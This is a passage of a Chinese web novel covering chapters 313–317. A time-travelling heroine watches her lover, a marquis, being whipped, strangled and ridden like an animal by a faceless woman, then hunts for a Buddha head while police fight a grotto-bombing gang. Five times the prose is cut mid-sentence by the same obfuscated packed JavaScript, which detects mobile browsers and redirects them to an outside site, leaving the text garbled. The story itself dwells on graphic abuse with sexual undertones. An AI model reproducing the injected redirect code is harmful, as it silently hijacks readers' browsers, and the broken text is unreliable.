大雍。 她竟梦到了大雍。 但随即秦绵绵就清醒了过来。 不,不对,不是梦。 她曾经来过几次大雍,都以为是梦。 后来裴应见才告诉她,那根本不是梦。 是真的她来了。 而现在…… 她想了想,就明白过来。 是那尊佛手。 它的磁场,能让她短暂地穿越。 来不及细想,一个念头疯狂地占据了她全部心神——裴应见,去找他! 他怎么样了? 上次分别的时候,他被**打穿了胸膛,从此之后她就彻底失去了他的任何消息。 这些天以来,她一直奔波在寻找佛头的路途上,只因凑齐了佛头和佛手,她才能有机会穿越回大雍。 才能找到他! 她实在是太过担心他的安危了! 这些天以来,她一直都在压制着自己对裴应见的思念,用各种眼前的事情来转移自己的注意力,强迫自己不去想他。 只因一旦跌入对他的惦念之中,只怕她自己都再也无法抽身。 可此时此刻,她就在这里,那股压抑的思念再也压制不住,翻江倒海般向她袭来。 秦绵绵想也没想,几乎立刻行动。 她甚至没看清自己此刻身处何方,只凭着本能,疯了似的冲出房门,朝裴应见卧房的方向奔去。 镇国侯府。 裴应见的主卧。 她带着满心的焦灼与思念,冲进房间里。 却并没有看到熟悉的男人。 床上,空无一人。 第313章 世上再无镇国侯 不对,有人。 当她走近,看清床榻上隆起的那一团时,秦绵绵的血液仿佛在瞬间凝固了。 那锦被之下,分明躺着一个人。 而且是一个女人。 她正侧身熟睡着,乌黑的长发铺散在枕上,身形窈窕,呼吸平稳。 秦绵绵只觉得一股冷气从脚底板直冲天灵盖。 为什么……为什么裴应见的床上,会睡着别的女人? 无数种可怕的猜测在脑海中炸开。 不。 不会的。 她强迫自己冷静下来,她的大侯爷,是不会背叛她的。 她要看看这个女人是谁。 秦绵绵放轻脚步,一点点靠近床边,弯下腰,试图看清那女人的脸。 可无论她如何努力,那女人的面容始终像蒙着一层浓雾,五官模糊,怎么也看不真切。 但她的身形,却很奇怪的,非常的眼熟。 就在这时,床上的女人仿佛有所察觉,嘤咛一声,缓缓地坐了起来。 她没有看秦绵绵,仿佛根本感觉不到她的存在。 她伸了个懒腰,赤着脚走下床榻,随意地披上一件外衫,便径直朝外走去。 秦绵绵鬼使神差地跟了上去。 她看着那女人穿过回廊,绕过花园,走的方向却越来越偏。 最后,女人停在了一处地方。 马厩。 那股混杂着草料和牲畜粪便的刺鼻气味。 女人推开马厩那扇破旧的木门,脸上带着一丝玩味的、残忍的笑意。 秦绵绵顺着她的目光望去—— 就在最肮脏的角落里,一堆凌乱的干草上,蜷缩着一道身影。 他身上穿着最下等的粗布麻衣,沾满了泥污和草屑,头发凌乱,脸上满是污垢,整个人像个街边的乞丐,正靠着墙壁,睡得人事不省。 可那张脸,那副身形,哪怕化成灰,秦绵绵也认得。 裴应见。 她的裴应见……竟然睡在这种地方。 “睡得跟死猪一样。” 那女人轻蔑地嗤笑一声,似乎对他的睡相很不满意。 她环顾四周,目光落在墙上挂着的一根赤红软鞭上。 她走过去,将鞭子取了下来,在手里掂了掂,一步步走向裴应见。 裴应见仍毫无察觉,女人已扬起了手里的鞭子。 “啪——!” 一声清脆刺耳的鞭响,在寂静的马厩里炸开。 那条赤红的鞭子,如同一条毒蛇,毫不留情地,狠狠抽在了裴应见沉睡的脸上! 那道凄厉的鞭风,像把烧红的烙铁,狠狠地烫在秦绵绵的神经末梢。 她甚至感觉到了痛。 一种从灵魂深处撕裂开的,尖锐的痛楚。 眼前的景象,比任何噩梦都来得荒诞,来得残忍。 裴应见的头猛地向一侧甩去,那张俊美无俦的脸上,一道血痕迅速地、狰狞地鼓胀起来,从眼角一直延伸到下颌。 他被这剧痛惊醒,身体剧烈地一颤,那双总是深邃沉静的眸子倏然睁开。 有那么一瞬间,里面闪过的是纯粹的、野兽般的痛苦与茫然。 但当他的视线聚焦在面前那个女人的脸上时,那丝茫然瞬间被极致的谦恭倾慕所取代。 他像是被踩了尾巴的猫,整个人从干草堆里弹了起来。 不,他甚至连站都不敢站直。 他手脚并用地在肮脏的地面上匍匐着,像条丧家之犬,连滚带爬地凑到那女人的脚边。 然后,他低下了那颗曾经高贵得不容任何人亵渎的头颅,用沾着血污的嘴唇,虔诚地、卑微地,亲吻着女人裙摆下那双绣花鞋的鞋尖。 “主人……” 他的声音嘶哑干涩,带着浓重的、令人作呕的讨好与希冀。 秦绵绵的脑子“嗡”地一声,炸成了一片空白。 她浑身的血液都冲上了头顶,又在瞬间冷到了脚心。 主人? 她的裴应见……在叫那个女人“主人”? “醒了?”女人居高临下地看着他,声音里带着一种猫捉老鼠般的、慵懒的残忍,“我还以为你死在这堆烂草里了。” “奴……奴才该死,”裴应见把头埋得更低,身体微微颤抖,“奴才贪睡,请主人责罚。” 女人轻哼一声,似乎对他这副卑贱的模样很是满意。 她抬起脚,用鞋尖不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15937326|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻不重地碾了碾他脸上的新伤。 裴应见疼得浑身一哆嗦,额角青筋暴起,却死死咬着牙,连半声闷哼都不敢发出。 “今天起晚了,没你的饭了。”女人玩味地欣赏着他痛苦的表情,慢悠悠地说道,“想吃?去跟阿黄抢吧。” 阿黄是马厩里那条看门老狗的名字。 可裴应见听了,眼中非但没有**,反而爆发出狂喜的光芒,仿佛听到了天大的恩赐。 “谢主人赏饭!”他抬起头,那张被打得面目全非的脸上,竟露出一个感激涕零的、近乎扭曲的笑容。 秦绵绵只觉得胃里翻江倒海,股股寒气顺着脊椎骨往上爬。 她疯了似的冲过去,想抓住那个女人的手腕,想把裴应见从地上拉起来。 可她的手,毫无阻碍地从他们身上穿了过去。 她碰不到他们! “为什么……到底发生了什么!裴应见,你看着我!你看看我!你疯了吗!” 可是他听不见。 他的世界里,仿佛只剩下眼前这个女人。 那女人似乎玩够了,收回了脚,从袖中取出一卷明黄的绢帛,随手扔在裴应见面前。 “喏,你的好消息。” 裴应见惶恐地接过,小心翼翼地展开。 女人用那根赤红的软鞭,轻轻拍打着他的脸,声音里满是恶毒的笑意。 “皇上已经准了的奏折。裴应见……镇国侯……哈哈……”她的声音压低,像毒蛇吐信,“从今往后,世上就再无镇国侯。” “只是我脚下的奴才。” 她顿了顿,欣赏着他脸上的伤口,然后一字一字地,吐出最后的判决。 “我一个人的……贱奴。” 裴应见攥着那卷圣旨,身体剧烈地颤抖起来。 秦绵绵的心提到了嗓子眼,她以为,他终该清醒,终该愤怒,终该反抗了。 可他没有。 他抬起头,那双曾经亮如星辰的眼睛里,此刻只剩下一种近乎痴迷的、病态的狂热。 “好……”他哑声说,“真好……” 他看着那个女人,仿佛在看自己的神祇。 “奴才……愿意只做主人的贱奴。” 第314章 将他的尊严碾碎 秦绵绵只觉彻骨的寒冷,从四面八方将她吞噬。 她不明白。 到底发生了什么? 他回来的这段时间里,到底发生了什么,能把一个顶天立地的男人,一个骄傲到骨子里的镇国侯,折磨成这副……人不人,鬼不鬼的模样? 他好像,被人抽走了魂魄,挖走了心。 只剩下一具卑躬屈膝的,行尸走肉的空壳。 女人仿佛很满意他的反应,她俯下身,用指尖挑起他的下巴,强迫他看着自己。 她把他的脸左扭右扭,反复如此,像在欣赏一件被自己亲手打碎的珍宝。 她好像很喜欢这种肆意破坏的感觉。 “乖。”她恶毒地笑了起来,那张始终模糊不清的脸上,笑容显得格外诡异,“记住你的身份,从今以后,你只能对我一个人**,做我一个人的贱奴。” 她喜欢这种感觉。 喜欢将高高在上的神明拉下神坛,踩进最肮脏的泥淖里,然后让他对自己摇尾乞怜。 这世上,再没有什么比这更有趣的游戏了。 而秦绵绵,就只能眼睁睁地看着。 看着她的裴应见,她的光风霁月的大侯爷,像条狗一样,仰望着那个毁了他一切的女人,脸上还带着幸福的、满足的微笑。 那道狰狞的鞭痕,成了他脸上最刺目的忠诚烙印。 可是明明就在几天前,他们还那样亲密。 他还拥她入怀,亲吻她,和她做最亲密的事情。 他的眼睛亮如星辰大海。 那星辰大海里,只有她。 情动之时,他向她表达爱意。 他说,见她的第一面,就觉得她很特别。 没多久,他就将家传的玉佩交给了她,虽然她并不清楚,但那是他的一种无声的诺言。 从那时起,早早的,他就认定了她。 他的爱意,穿越重重山海,穿越时光千万年,一直为她驻足。 当他们终于能走到一起的时候,谁能想到,竟然发生这样的事。 他怎么会变成这样…… 巨大的悲伤和无力感,像潮水一样将秦绵绵淹没。 裴应见那声病态的“真好”,像一把淬了毒的钝刀,在秦绵绵的心口反复搅动。 她看着他,那个曾用一只手就能搅动朝堂风云的镇国侯,如今像条烂泥里的蛆虫,仰视着毁掉他一切的元凶,脸上竟是心满意足的狂热。 “呵……” 那始终看不清面容的女人,发出一声满意的轻笑。 她收回了那卷明黄的圣旨,用鞭柄有一下没一下地拍着裴应见那道狰狞的血痕,声音懒洋洋的,却带着不容抗拒的命令。 “趴下。” 没有丝毫的犹豫。 裴应见的身体甚至比他的思想反应更快,他手脚并用地匍匐下去,脊背微微弓起,将自己的姿态放到了最低贱的位置,等着主人的下一步指令。 秦绵绵的呼吸停滞了。 她眼睁睁看着那女人,提着裙摆,就这么跨坐到了裴应见的背上。 那并不沉重的身体,却仿佛有千钧之重,将他最后一丝属于人的尊严,彻底压垮、碾碎。 女人似乎觉得还不够,她将手里的赤红软鞭抖开,像套牲口的缰绳一样,轻巧地绕过裴应见的脖颈,然后猛地一收! “呃!” 裴应见发出一声痛苦的闷哼,脖颈上的皮肤被粗糙的鞭身勒出一道深深的红痕。 “走。”女人命令道。 于是,他便走了。 不,是爬。 他像一头真正的牲畜,四肢并用,在那混杂着草屑和秽物的肮脏地面上,载着背上的女人,一圈,又一圈地,麻木地转着。 马厩里,只剩下沉重的喘息,和四肢在干草上爬行时发出的“沙沙”声。 秦绵绵疯了似的冲过去,她的拳头,她的手掌,一次又一次地从那女人的幻影上穿过。 她想尖叫,想怒吼,喉咙里却像被堵了一团滚烫的棉花,发不出任何声音。 她只能看着,像一个被钉死在酷刑现场的看客。 女人似乎玩腻了这种单调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943962|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的游戏,她忽然猛地勒紧了手中的鞭子。 “咳……咳咳……” 空气被瞬间抽离,裴应见的身体猛地一僵,脸因为缺氧而迅速涨成了青紫色,他大张着沾着鲜血的一双薄唇,眼球不受控制地向上翻去。 他双手本能地想去抓扯脖子上的束缚,可指尖在触碰到鞭身的前一刻,又猛地收了回来,最后只能徒劳地在地上抓挠着,指甲缝里瞬间塞满了泥污。 不知过了多久,女人终于松开了鞭子。 裴应见大声咳嗽,眼泪和口水一起不受控制地流了下来。 流过他苍白的脸颊,沾血的红唇,带着满满的**与迷茫。 “说说看,”女人用鞭柄一下下地点着他的后颈,声音里是猫捉老鼠般的戏谑,“以前在朝堂上受百官敬重,和我现在把你当畜生一样骑在身下,哪样更让你快活?” 裴应见的脖子上好像有什么开关一样,被女人这么轻轻一点,顿时剧烈地颤抖起来。 他把脸紧紧贴在冰冷肮脏的地面上,声音扭曲变形:“是……是现在……奴才……奴才快活……” “哦?”女人拖长了尾音,似乎并不相信,“你的声音听起来可不像快活的样子。你是在敷衍我吗,裴应见?” 她说着,又一扯鞭子。 “不!奴才不敢!”他像是被蝎子蛰了一下,苍白有致的脖颈被猛地拉高,勒出满满的红痕,因为空气稀薄,他不可避免地张开了嘴巴,“奴才说的都是真心话……奴才是主人的一条狗,能被主人骑着,是奴才的福分……” “福分?”女人嗤笑一声,猛地一拽手中的鞭子,裴应见顿时被勒得翻起了白眼。“光说可不行。既然是福分,你该怎么感谢我?用你的这张嘴……好好地、**地,求我继续给你这份福分……嗯?说得不好听,我就把你拴在马槽上,让你跟阿黄一起抢食吃。” 裴应见拼命地喘息着,即便如此,他仍旧是满脸的虔诚,仿佛只剩下讨好身上这个女人的本能。 仿佛此刻他的脊背上,就是整个天和地,就是自己的生命的一切。 第315章 你也配说爱? “主……主人……”他艰难地从喉咙里挤出字眼,一边剧烈地咳嗽,一边用最卑贱的姿态去蹭她的腿,“奴才……奴才是最低贱的烂泥,是主人的仁慈,才让奴才有了舔舐您脚尖的资格……求主**发慈悲,永远把奴才当成坐骑,当成玩物……奴才愿一生一世,都匍匐在您的脚下……为您吠叫……” 他的语调卑微到了尘埃里,带着一种病态的、急于被认可的狂热。 女人终于满意地笑了起来,她松了松鞭子,俯下身,用那始终看不清的脸庞,几乎贴上了他的耳朵,吐出的气息阴冷如毒蛇。 “很好。那就叫一声来听听。让我看看,我的狗狗,到底有多乖。” 一丝稀薄的空气灌进裴应见的肺里。 他立刻贪婪地、剧烈地咳嗽起来,口水和眼泪混在一起,狼狈不堪。 女人歪过头,似乎很是喜欢看他这幅狼狈的样子。 她伸出鞭子,抬起他的下巴,让他苍白失血还带着狰狞伤口的脸扭转过来,被迫朝向她。 又拿鞭子末梢,在他薄薄的双唇上来回摩挲。 又慢慢爬上他的挺翘的鼻尖,修长的双眉。 最后转了个圈,又落在他不断滚动的喉结上面。 在上面不停地化着圈圈。 裴应见就这么转着头,被迫看着她,感受着她对自己的不断的“丈量”。 **。 无休无止的**,像潮水,将他彻底淹没。 突然,啪! 女人一鞭子再次狠狠抽到他的脸上。 “叫啊!贱狗!主人让你叫,你竟然敢不叫!反了天了你!” 在一旁着急却毫无办法的秦绵绵,一颗心也像被这一鞭子抽到,疼到麻木。 她看着裴应见的脸被她打的偏过去,却又立刻转回来,再次凝望女人。 在剧烈的咳嗽和喘息中,那张曾经俊美无俦的脸上,一点点地,浮现出一个卑微到尘埃里的、讨好的笑。 他张开嘴。 一声压抑的、干涩的、模仿犬类的声音,从他喉咙里发了出来。 “汪……汪汪……” 那声音像一把生了锈的锥子,狠狠扎进秦绵绵的耳膜。 秦绵绵不想看了,不想听了,却又不得不被迫观看这酷刑。 她什么都做不了! 女人却被取悦了,她发出一阵咯咯的、清脆的笑声,那笑声在空旷的马厩里回荡,显得格外阴森可怖。 “真乖。” 她的脚轻轻一抬,踩在了裴应见的脸颊上。 “乖狗,接着爬。” 裴应见满目爱意望了她一眼,立刻又向前爬去。 女人用鞭子控制他爬行的速度,忽快忽慢,又时不时地在他身上各处折磨。 裴应见非常的敏感,每一次都颤抖不已,这让女人很是开心。 她开始说起了话。 “你知道么,”女人轻笑起来,声音里那股阴森的愉悦感却淡了些,反而透出几分遥远的迷惘,“我以前,也跟你一样,是趴在地上的。” 她的声音很轻,像是在自言自语。 “从尸山血海里爬出来,踩着无数人的骨头,才站直了身子。我讨厌任何人靠近,他们身上的活人气息,让我恶心。” 鞭梢有一下没一下地,轻轻划过裴应见的脊背,带起一阵细微的战栗。 “可是你不一样。”女人的声音再次贴近他的耳朵,气息冰冷,“我第一眼看到你,就想把你抓过来。我想听你哭,想看你求饶,想把你身上所有干净的地方都弄脏,把你那身傲骨一寸寸敲碎,再踩进泥里。” 她停顿了一下,似乎在回味那种感觉,语气里又染上了那种病态的、令人着迷的快乐。 “折磨你,让我非常……非常愉快。” 她捏着裴应见的下巴,强迫他抬起头。 “告诉我,这是为什么?” 裴应见的呼吸依旧紊乱,身体因为持续的折磨和**而在微微发抖。 但他那双被泪水和汗水浸透的眸子,在对上她的面容时,却透出一种奇异的、近乎虔诚的光。 他脸上那卑贱的、讨好的笑容慢慢敛去,取而代之的是一种沉静的、孤注一掷的温柔。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943963|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为……”他的声音嘶哑得厉害,每个字都像是从碎裂的声带里挤出来的,“我爱您,主人。” 马厩里死一般的寂静。 连秦绵绵都感觉自己的心跳漏跳了一拍。 那女人似乎也愣住了,捏着他下巴的手指下意识地收紧。 “爱?” 她重复着这个字,像是听到了什么天大的笑话。那声音里的愉悦和迷惘瞬间消失得无影无踪,只剩下冰锥般的暴怒。 “你算个什么东西?”她的声音陡然拔高,尖利刺耳,“一条摇尾乞怜的贱狗,一个任我践踏的玩物,你也配说爱?!” 话音未落,她猛地一脚踹在裴应见的胸口! 裴应见闷哼一声,整个人向后翻滚出去,重重撞在马厩的木栏上,发出一声沉闷的巨响。 女人还不解气,她几步上前,居高临下地看着他。 那看不清的脸庞上,散发出的恶意几乎凝为实质。 她抬起脚,踩住他胸前的衣料,用力一扯! “嘶啦——” 布料碎裂的声音在空旷的马厩里格外清晰。 裴应见上身单薄的衣衫被粗暴地撕开,露出布满新旧伤痕的胸膛和脊背。 女人的怒火仿佛找到了宣泄口。 她扬起手中的长鞭,带着狠戾的风声,一次又一次地抽打在裴应见的身上。 啪! 啪! 啪! 鞭子落在皮肉上,发出沉闷而恐怖的声音。 每一鞭下去,都带起一道迅速红肿的血痕,旧伤叠着新伤,很快便皮开肉绽。 裴应见蜷缩在地上,死死咬着牙,除了最开始那声无法抑制的闷哼,竟再没发出半点求饶的声音。 他只是承受着,身体随着鞭打的力道剧烈地弹动、痉挛。 秦绵绵被迫看着这一切,她的牙关咬得咯咯作响,指甲深深掐进掌心,却感觉不到丝毫疼痛。 那女人似乎被他的沉默彻底激怒了。 她扔掉鞭子,抓起旁边马槽里一个装满水的木桶,毫不犹豫地从裴应见的头顶,兜头浇了下去! 第316章 她不能再等了 时节已到初秋,早晨很冷,冰冷的井水瞬间将裴应见浇得浑身湿透,水流冲刷着他身上的伤口,带起一阵阵尖锐的刺痛。 他呛咳起来,冻得嘴唇发紫,身体不受控制地剧烈颤抖。 就好像一只淋雨无家可归的小狗,被迫蜷缩起来。 “不……” 秦绵绵想扑过去,想用自己单薄的身体,为他挡住那刺骨的冰水。 可她刚一动,整个世界便忽然天旋地转。 那阴暗肮脏的马厩,那蜷缩在角落里瑟瑟发抖的身影,那张女人模糊而恶毒的脸……所有的一切,都像被投入水中的墨,迅速地晕开,旋转,最后化作一片深不见底的漆黑。 意识被一股巨大的力量,从那令人窒息的噩梦中,猛地拽了出来。 “……绵绵?你醒醒!” 一道温和又带着焦急的男声,在耳边响起。 秦绵绵猛地睁开眼,大口地喘息着,仿佛溺水之人终于挣脱了水面。 鼻尖萦绕的,不再是马厩里那股混杂着草料和秽物的腥臊,而是客栈里独有的、干净的皂角与木头清香。 身上盖着柔软的被子,触感温暖。 眼前,是一张熟悉的、关切的脸。 是姚祁。 他正半跪在床边,手里捏着一方雪白的手帕,正小心翼翼地,试图擦去她额角的冷汗。 好看的桃花眼微微眯起,此刻满是担忧:“你是不是做噩梦了?怎么都叫不醒。” 秦绵绵的脑子还是一片混沌。 那梦里的酷刑太过真实,那冰水浇头的寒意,仿佛还浸在她的骨头缝里。 裴应见…… 她的裴应见,还在那冰冷的地上,像条无家可归的野狗一样哆嗦着。 这个念头像根烧红的针,狠狠刺进她的大脑。 她的视线没有焦点,也还没意识到此刻的处境。 当姚祁拿着那方带着微凉体温的手帕再次触碰到她肌肤的时候,秦绵绵顿时猛地一缩。 因为动作剧烈,她整个人都撞在了身后的床头木板上,发出一声闷响。 姚祁举着手帕的手,就那么僵在了半空中。 他脸上的关切凝固了。 眸子里有什么东西,沉了下去。 客栈的房间里光线柔和,气氛却在这一瞬间,变得有些说不出的晦暗。 秦绵绵没有注意到他的变化。 她的魂好像还丢在那场噩梦里没有回来。 “裴应见……”她抓着被角,指节因为用力而泛白,声音嘶哑得不成样子,“他……他在哪儿?” 半晌,她才慢慢意识到自己现在是在何处。 她还在客栈里。 这里没有马厩,没有鞭子,没有那个看不清脸的女人。 可为什么……为什么心口还是疼得像要裂开一样? 姚祁缓缓地,收回了手,将那方雪白的手帕攥进掌心。 “你睡了很久,一直在说胡话,魇着了。” 魇着了? 只是……做了一场梦吗? 秦绵绵的心沉了下去。 她知道,那不是梦。 她的裴应见,此时此刻在大雍,正在遭受着非人的折磨,而她,却什么都做不了。 她不能再等了。 一分一秒都不能。 她必须立刻马上拿到佛头,到大雍去。 救她的大侯爷。 这个念头一旦清晰,便再也无法遏制。 她掀开被子,赤着脚就踩在了冰凉的木地板上,动作快得让姚祁都来不及反应。 “绵绵,你……” 秦绵绵仿佛没听见他的话,她径直走到林鸢的地铺旁。 林鸢本就睡得不沉,这番动静让她立刻醒了过来,她揉着眼睛坐起身,正对上秦绵绵那双布满血丝,却亮得惊人的眼睛。 秦绵绵的声音冷静得可怕,“亲子鉴定现在就做。来,我们俩的头发。” 她说着,就从自己头上拔下几根带毛囊的头发,又看向林鸢。 林鸢被她这股气势镇住,下意识地也拔了几根头发递给她。 “还有,”秦绵绵转向姚祁,“你认不认识信得过的人,能立刻做鉴定,并且帮忙查一些十几年前的旧事?” “还是找我外公吧。”姚祁几乎是脱口而出, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943964|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他路子广,或许能帮上忙。” “好。”秦绵绵点头,将两份头发样本用纸包好,塞进姚祁手里,“天亮就去找他。告诉他,我要最快的结果。另外,让他去查我外婆当前那段时间前后所有的行踪,车票、住宿,任何蛛丝马迹都不能放过。” 她的语速极快,条理清晰,像个发号施令的将军。 这突如其来的转变,让姚祁和林鸢都有些发懵。 这时,被吵醒的姜敬意打着哈欠坐起来,一脸状况外:“我的姑奶奶,这是怎么了?” 秦绵绵没有理会他,她走到窗边,看着外面渐渐泛起鱼肚白的天色,脑子里飞速转动。 找到佛头,刻不容缓。 但萧玦那边,也是个巨大的威胁。 他既然能派人来,想必也是有一些决断,无论如何石窟那边绝不能出事。 她想了想,立刻给朱七妹发了短信,让她去报警。 【告诉张队,就说有人要炸山,破坏文物,地点就在后山那片石窟。让他立刻带人去,越快越好!】 楼下,朱七妹收到短信,立刻就去找同在客栈休息的张队。 房间里,一片死寂。 姜敬意彻底醒了,他看着秦绵绵决绝的背影,又看了看姚祁和林鸢,咂了咂嘴:“这是怎么了?就睡了一觉,怎么跟变了个人似的。” 没人回答他。 秦绵绵转过身来,看着屋里的三个人。 “线索不能再断了。”她一字一顿地说,声音里带着彻骨的寒意还有一丝丝不易察觉的疯狂,“佛头,我必须找到。” 为了那个在肮脏的马厩里,被踩进尘埃里的裴应见…… 她一定要去救他。 林鸢看着她那副样子,也从地铺上站了起来。 “查十几年前的老黄历太慢了。”林鸢开口,“但我家在这一带还有些人手,查当年的交通记录和旅店登记,说不定比较快。” 她掏出手机:“我这就让他们去办,只要你外婆当年是用身份证买过票、住过店,就一定能翻出来。” 姚祁看了林鸢一眼,没说话,也拿出手机走到一旁,低声打起了电话。 第317章 我们现在就出发 一时间,小小的客栈房间里,只剩下两道压低了声音的、急促的通话声。 秦绵绵站在原地,像一尊紧绷的雕像。 她脑子里反复回放着裴应见被鞭子抽打,被冷水浇头的画面。 那声压抑的、学狗叫的“汪汪”声,像魔音贯耳,让她浑身的血液都冷了下来。 等我。 等着我。 不知过了多久,林鸢率先挂了电话。 她走到桌边,拿起纸笔,脸色有些凝重。 “查到了。” 秦绵绵猛地抬头。 “我外婆她去了哪儿?” “很奇怪。”林鸢一边记,一边说,“她当年离开家之后,没有去任何大城市,买的都是些长途汽车票,去的地方……都是些地图上都得放大好几倍才能找到的小镇子。” 她笔尖飞快地划过纸面,一连串地名被写了下来。 “她从海城出发,一路向西南,路线很绕,几乎把黔、滇、桂三省交界处的深山老林都转了个遍。最后的记录显示,她到过……黔南的榕江县。” 榕江县。 一个完全陌生的地名。 秦绵绵一把拿过那张写满了地名的纸,指尖因为用力而微微颤抖。 姚祁也在这时打完了电话,他走过来,看了一眼纸上的路线,眉头紧锁: “我外公那边也查到了一些,但都是些陈年旧档,没这么快。不过他说,这条路线……很像是以前那些走村串寨的‘货郎’或者‘采药人’才会走的路。” “不管是什么路。”秦绵绵将那张纸紧紧攥在手心,像是攥住了唯一的救命稻草,“我们现在就出发。” 她看向窗外,天已经大亮。 “收拾东西。”她的声音不容置喙,“去榕江。” …… 后山,晨雾未散。 张队嘴里叼着根没点的烟,眉头拧成个疙瘩。 朱七妹那条清晨发来的短信,透着股邪乎劲儿。 炸山?破坏文物?这种事听着就像天方夜谭。 可不知怎么,他就是信了。 “都给老子打起精神!”他压低声音,对手下几个便衣弟兄吼道,“那帮孙子要是真敢动歪心思,就地给他们摁了!” 山林里静得出奇,只有脚踩在枯枝败叶上发出的轻微声响。 空气中,飘来若有若无的硝烟味。 张队心头猛地一跳,打了个手势,所有人立刻矮下身子,贴着山石摸了过去。 绕过片嶙峋的怪石,眼前豁然开朗。 那是一片被藤蔓和杂草几乎完全掩盖的石壁,石壁下方,几个鬼鬼祟祟的身影正围着一个刚炸开没多久的洞口忙活着,往里接着安放什么东西。 领头的是个戴着鸭舌帽的男人,他坐在一张特制的轮椅上。 他用仅剩的那只手轻抚了一下衣袖,似乎很满意自己的“杰作”,对旁边几个手下沉声吩咐: “动作快点,把这里彻底封死,动静闹大了不好收场。” “老板,放心,这批**下去,保管神仙都找不到这地方。” 张队的瞳孔骤然收缩。 他猛地拔出枪,厉声喝道:“警察!都不许动!” 萧玦的反应快得惊人。 在张队出声的瞬间,他猛地扭动轮椅,如箭般冲向了旁边一条隐蔽的小径,很快消失在晨雾深处。 剩下的人也非善类,没有丝毫投降的意思,抄起家伙就跟冲上来的警察缠斗在一起。 一时间,**、怒吼声、金属碰撞的闷响,撕裂了山林的宁静。 对方显然是亡命之徒,下手又黑又狠。 一个照面,张队这边就有两个兄弟挂了彩,鲜血染红了灰扑扑的作训服。 “妈的!”张队一脚踹翻个扑上来的歹徒,眼睛都红了,“给脸不要脸!” 激战并未持续太久。 毕竟是训练有素的警察,在付出惨重代价后,终于将这伙人全部制服。 空气里弥漫着浓重的血腥味和硝烟味。 张队喘着粗气,看着地上哀嚎的歹徒和受伤的弟兄,脸色铁青。 他走到那个被炸开的洞口,手电光往里一照,顿时倒吸口凉气。 洞内,赫然是一尊尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951399|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栩栩如生、宝相庄严的佛像。 这里,竟真藏着个石窟! 而那个主谋却趁乱跑了。 “队长,”一个年轻警员捂着胳膊上的伤口走过来,“现场清点过了,**都拆了,但是……我们损失很大。” 张队没说话,只是把嘴里那根自始至终没点着的烟,狠狠嚼烂了。 张队打电话给市里叫了支援,很快大部队来到了山上,封锁了这里。 石窟重见天日,也不得不惊动文物局,海城上下都开始为这新出现的隐秘文物而忙碌起来。 在文物局彻底接手之前,驻守在这里搜查的张队等人还是需要严密保护石窟。 然而就在这天下午,山上突然来了一个不速之客。 难行的山路上,突然出现了一个穿着套裙、气质冷傲的女人。 女人约莫四十上下,保养得极好,长得非常的好看。 但脸上没什么表情,眼神里透着股居高临下的审视。 她径直走到张队面前,完全无视了现场的警员。 “你就是这里的负责人?” 张队皱眉:“我是市局刑侦队的**,你是谁?这里是案发现场,闲人免进。” 女人仿佛没听到他的话,从随身的公文包里抽出一份文件,递到他面前。 “国家文物研究中心的萧秀雅。”她言简意赅,“根据上级指示,这片石窟即刻起由我们单位接管,你们警方负责外围安保,核心区域,请全部撤离。” 文件上,鲜红的印章刺得人眼睛疼。 张队的心沉了下去。 他看不出真假,但对方这副有恃无恐的架势,让他心里憋了团火。 拼死拼活保下来的地方,一句话就要拱手让人? 